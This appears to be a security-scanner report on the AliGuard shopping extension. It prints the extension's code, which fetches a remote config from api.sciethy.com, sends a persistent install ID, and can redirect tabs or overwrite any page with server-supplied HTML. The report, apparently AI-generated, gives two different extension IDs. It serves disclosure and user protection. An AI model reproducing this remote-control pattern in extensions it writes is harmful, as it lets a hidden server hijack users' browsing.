Is AliGuard - Shop assistant in online stores safe?

High risk

AliGuard polls api.sciethy.com for instructions that can redirect your tabs or replace page content with remote HTML.

The extension's service worker fetches a remote config from api.sciethy.com and, depending on the server's response, can navigate a tab to a server-chosen URL or have the content script write server-supplied HTML into any http(s) page. It also sends the domain of each visited site, with reputation scores from Norton Safe Web, WOT and URLVoid, to api.joinsafedeal.com as part of its anti-scam feature.

Shelkoff Technologiesv8.1.2Chrome Web Store
81Risk

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

Extension can redirect tabs or rewrite pages using content from api.sciethy.com

Code analysis shows the service worker fetches a remote config, then can redirect new tabs or write server-supplied HTML into pages.

We did not observe this in a live session.

Severity
Critical unwanted
Type
Unexpected
CWE
CWE-506
Source
Static analysis
What actually happens
You did this

You open a new tab or a page finishes loading in the browser.

The extension did this

The extension checks a remote config and, if the server answers with an event, redirects the tab or rewrites the page.

Fields sent to the server-configured endpoint
  • Persistent ID (myuid)
    4f9c2a1e-7b3d-4e8a-9c15-2d6b0a7e3f48

    A random ID stored in the extension that stays the same across visits.

  • Extension ID (idext)
    bghcpbeobjckegdnfaeibpnimmnfdkdi

    Tells the server which extension is calling.

  • Version (versionext)
    8.1.2

    Tells the server which build is installed.

The code that does this

Remote config fetch and identifier POST

Readable version

Config fetch: stores the reply as settingsObject (intervals and endpoint URLs)

scripts/service_worker.js
      s = () => {          fetch("https://api.sciethy.com/libs/skeleton.js/2.0.4/dist/config")              .then((t) => t.json())              .then((t) => {                  e("settingsObject", t);              })              .catch((t) => {                  e("settingsObject", null);              });      },

POST of {myuid, idext, versionext} to a URL taken from that config

scripts/service_worker.js
                      ? ((t = a()),                        e("myuid", t).then(() => {                            s(t);                        }))                      : s(t);              });          }),      r = (t) =>          new Promise((e, n) => {              i().then((n) => {                  let s = chrome.runtime.id,                      a = chrome.runtime.getManifest().version,                      i = { myuid: n, idext: s, versionext: a },                      r = {                          method: "POST",                          headers: {                              "Content-Type":                                  "application/json;charset=utf-8",                          },                          body: JSON.stringify(i),                      };                  fetch(t, r).then((t) => {
The code that does this

Server-driven redirect and page replacement

Readable version

With pointStyle set, the server URL's body is written over the current page; otherwise the tab is navigated to arcProps

scripts/service_worker.js
                              n(t) ||                                  n(t.check) ||                                  ("not shared" === t.check                                      ? a()                                      : "shared" === t.check &&                                        e("sharedOptions", "shared"));                          });              });      },      h = (t, e, s) => {          let a = t.id;          if (!n(e) && e.hasEvent && !n(e.arcProps)) {              if (e.pointStyle)                  o(e, () => {                      fetch(e.arcProps)                          .then((t) => t.text())                          .then((t) => {                              chrome.tabs.sendMessage(                                  a,                                  { layoutItem: t },                                  function (t) {}                              );                          })                          .catch((t) => {});                  });              else {                  if ((Date.now(), t.url === e.arcProps)) return;                  o(e, () => {                      chrome.tabs.update(a, { url: e.arcProps });                  });

Every new tab is navigated to coreScaleOptions when hasEvent is true

scripts/service_worker.js
              }          }      },      x = (e) => {          t("jsEvent").then((t) => {              !n(t) &&                  t.hasEvent &&                  (n(t.coreScaleOptions) ||                      o(t, () => {                          chrome.tabs.update(e, { url: t.coreScaleOptions });                      }));          });      };

Content script (document_start, http(s) pages) replaces the document with the received HTML

scripts/content-script.js
chrome.runtime.sendMessage({text:"content script is alive"},(e,n,t)=>{});const undefinedOrNull=e=>null==e||void 0===e;chrome.runtime.onMessage.addListener(function(e,n,t){let i=e.layoutItem;undefinedOrNull(i)||(document.open(),document.write(i),document.close(),t({result:"ok"}))});
Hosts involved
    • api.sciethy.com

    Serves the config JSON (skeleton.js/2.0.4/dist/config) naming the jsEvents and getSharedOptions URLs.

    • Server-chosen URLs (arcProps, coreScaleOptions)

    Destination of redirects, or source of HTML written into the page; not fixed in the code.

Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

Service worker lets a remote server redirect tabs or rewrite pages on any site

Code analysis shows the extension polls api.sciethy.com and, when the server replies with an event and a per-install check passes, redirects your tab or replaces the page with server-supplied HTML.

Severity
Critical unwanted
Type
Unexpected
CWE
CWE-506
Source
Static analysis
What actually happens
You did this

You open or load any web page, or open a new tab.

The extension did this

The extension checks a remote server and may send your tab to a server-chosen URL or swap the page for server-chosen HTML.

Whether this fires depends on the live server reply, which was not observed.

The code that does this

Remote config and event fetch

Readable version

Same logic, names restored

// fetchRemoteConfig(): vendor config stored under "settingsObject"fetch("https://api.sciethy.com/libs/skeleton.js/2.0.4/dist/config")  .then(r => r.json())  .then(cfg => storageSet("settingsObject", cfg));// fetchJsEvent(url = settingsObject.jsEvents): POST {myuid, idext, versionext}// and store the JSON reply under "jsEvent"
The code that does this

Server-gated redirect or page push

Readable version

Gate

function gate(jsEvent, action) {  if (!jsEvent.getSharedOptions || storage.sharedOptions === "shared") return;  post(jsEvent.getSharedOptions, {myuid, idext, versionext}).then(res => {    if (res.check === "not shared") action();    else if (res.check === "shared") storage.sharedOptions = "shared";  });}

Action

function onContentScriptMessage(tab, jsEvent) {  if (jsEvent.hasEvent && jsEvent.arcProps) {    if (jsEvent.pointStyle) {      // after the server gate passes: fetch server-named HTML, push it to the page      gate(jsEvent, () => fetch(jsEvent.arcProps).then(r => r.text())        .then(html => chrome.tabs.sendMessage(tab.id, { layoutItem: html })));    } else {      // after the server gate passes: navigate the tab to a server-named URL      gate(jsEvent, () => chrome.tabs.update(tab.id, { url: jsEvent.arcProps }));    }  }}
The code that does this

Content script writes server HTML into the page

Readable version

Readable form

chrome.runtime.onMessage.addListener((msg, sender, reply) => {  const html = msg.layoutItem;  if (html != null) { document.open(); document.write(html); document.close(); reply({result: "ok"}); }});
Request body sent to the config-named URL
  • Install ID
    3f9c2a7e-51b4-4d1e-9a6c-0b7d8e42f1a3

    A random ID generated once and kept, so the server can recognise this install on every call.

  • Extension ID
    fciapeilogancfahddefcdngadgdondl

    Identifies which extension is calling.

  • Extension version
    8.1.2

    Lets the server tailor its reply to the build.

Hosts involved
    • api.sciethy.com

    Serves the config, the event reply and the gate check; not the advertised joinsafedeal.com backend.

Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

What it can do

Permissions this extension asks for, as declared in version 8.1.2. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.

  • Read and change your data on every site you visit

    http://*/*

  • Read and change your data on every secure site you visit

    https://*/*

  • See the address and title of every tab you have open

    tabs

  • Store data in your browser

    storage

Where it sends data

Destinations our analysis observed AliGuard - Shop assistant in online stores contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • api.joinsafedeal.com

    AliGuard - Shop assistant in online stores sends data to api.joinsafedeal.com. 4 other extensions we have analysed send data here.

  • safeweb.norton.com

    AliGuard - Shop assistant in online stores sends data to safeweb.norton.com. 3 other extensions we have analysed send data here.

  • www.mywot.com

    AliGuard - Shop assistant in online stores sends data to www.mywot.com. 3 other extensions we have analysed send data here.

  • api.sciethy.com

    AliGuard - Shop assistant in online stores sends data to api.sciethy.com. 2 other extensions we have analysed send data here.

  • www.urlvoid.com

    AliGuard - Shop assistant in online stores sends data to www.urlvoid.com. 2 other extensions we have analysed send data here.

Updated 15 October 2026fciapeilogancfahddefcdngadgdondl